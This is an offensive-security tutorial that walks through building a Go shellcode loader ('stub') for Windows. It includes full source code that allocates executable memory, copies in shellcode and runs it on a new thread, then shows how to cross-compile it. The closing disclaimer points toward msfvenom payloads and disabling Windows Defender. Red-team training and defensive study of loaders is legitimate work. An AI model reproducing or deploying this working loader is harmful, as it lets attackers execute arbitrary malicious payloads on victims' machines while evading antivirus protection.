💉Create your own basic Go stub

In this tutorial, we will guide you through creating your own stub in Go to run shellcode in memory on a Windows target. The steps assume you are developing in a Linux environment and cross-compiling We will use Go's windows package and Windows API functions to allocate memory, copy shellcode into it, and then execute it by creating a thread. This tutorial will focus on setting up the environment, writing the code, and building the executable.

Prerequisites

Before we begin, make sure you have the following installed:

  1. Go (Golang): The Go programming language.

  2. Go Windows Package: The golang.org/x/sys/windows package is required for Windows API calls.

  • Create a golang module file in your project directory:

    go mod init
  • Install the package with:

    go get golang.org/x/sys/windows
  • Save the golang module file:

    go mod tidy

Step 1: Create the Go stub

Create a new Go file

Start by creating a new Go file. We'll call it stub.go.

touch stub.go

Structure the Go code for your stub

package main

import (
	"fmt"
	"golang.org/x/sys/windows"
	"syscall"
	"unsafe"
)

func main() {
	// Shellcode (empty for now, to be filled with your shellcode)
	shellcode := []byte{
		// Place your shellcode bytes here (for example: 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff ...)
	}

	// Windows API functions
	kernel32 := windows.NewLazySystemDLL("kernel32.dll")
	virtualAlloc := kernel32.NewProc("VirtualAlloc")
	rtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
	createThread := kernel32.NewProc("CreateThread")
	waitForSingleObject := kernel32.NewProc("WaitForSingleObject")

	// Allocate memory (using VirtualAlloc) - executable, writable, and readable memory
	addr, _, err := virtualAlloc.Call(
		0, 
		uintptr(len(shellcode)), 
		windows.MEM_COMMIT|windows.MEM_RESERVE, 
		windows.PAGE_EXECUTE_READWRITE,
	)
	if addr == 0 {
		fmt.Printf("VirtualAlloc failed: %v\n", err)
		return
	}
	fmt.Printf("Memory allocated at: %v\n", addr)

	// Copy the shellcode into the allocated memory
	_, _, err = rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != syscall.Errno(0) {
		fmt.Printf("RtlMoveMemory failed: %v\n", err)
		return
	}

	// Create a new thread to execute the shellcode
	threadHandle, _, err := createThread.Call(
		0, 0, addr, 0, 0, 0, 
	)
	if threadHandle == 0 {
		fmt.Printf("CreateThread failed: %v\n", err)
		return
	}
	fmt.Printf("Shellcode thread created successfully with handle: %v\n", threadHandle)

	// Wait for the shellcode thread to finish
	ret, _, err := waitForSingleObject.Call(threadHandle, 0xFFFFFFFF)
	if ret == 0xFFFFFFFF {
		fmt.Printf("WaitForSingleObject failed: %v\n", err)
		return
	}

	fmt.Println("Shellcode executed and thread completed successfully.")
}

Code Breakdown

  1. Windows API Calls:

    • VirtualAlloc: Allocates memory in the target process's address space.

    • RtlMoveMemory: Copies the shellcode into the allocated memory.

    • CreateThread: Creates a new thread to execute the shellcode.

    • WaitForSingleObject: Waits for the created thread to complete execution.

  2. Memory Allocation:

    • We use VirtualAlloc to allocate memory in the target process with permissions for execution, reading, and writing.

  3. Shellcode Execution:

    • Once the memory is allocated, the shellcode is copied into it using RtlMoveMemory.

    • A new thread is created with CreateThread to execute the shellcode in memory.


Step 2: Add your shellcode to the stub

To inject your own shellcode, replace the shellcode := []byte{} array in the Go code with the desired shellcode. like the shellcode extracted in the previous section.

For example:

shellcode := []byte{
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 
    // Add the rest of your shellcode here...
}

In my case, i used a simple windows alertbox shellcode:


Step 2: Cross-Compile for Windows

Setting Up Cross-Compilation

Since we are developing on a Linux system but targeting Windows, we will need to cross-compile the Go program. Thanks God, the cross-compilation with go is insanely simple, you just need to set the GOOS and GOARCH environment variables to make them match the desired operation system and architecture of your target.

  1. Set the environment variables:

    • GOOS=windows: Specifies that the target operating system is Windows.

    • GOARCH=amd64: Specifies that the target architecture is 64-bit (x86-64).

    On Linux, run:

GOOS=windows GOARCH=amd64 go build -o stub.exe stub.go

This command will compile the stub.go file into a Windows executable (stub.exe).

Step 3: Testing the stub on windows

Running the Stub on Windows

Once you've cross-compiled the stub, transfer the stub.exe file to a Windows system. You can run the executable as you would with any Windows program. For example, you can run it from a command prompt:

C:\path\to\stub.exe

The output should look something like this (assuming the shellcode is valid):

Memory allocated at: 0x0000000140010000
Shellcode thread created successfully with handle: 0x1234
Shellcode executed and thread completed successfully.

If the shellcode executes as intended, you should see the shellcode's effects in action:


Conclusion

In this tutorial, you learned how to create a Windows stub in Go that can execute shellcode in memory. The stub allocates memory in the target process, copies the shellcode into it, and then executes it by creating a new thread. You can easily customize this stub with your own shellcode and cross-compile it for Windows to test in a controlled environment.

⚠️ DISCLAIMER ⚠️

At this point, we do not have performed any obfuscation or significant modification to the payload, so if you try it with an msfvenom extracted shellcode, Windows Defender will flag it instantly. If you want to try anyway disable Windows Defender.

Last updated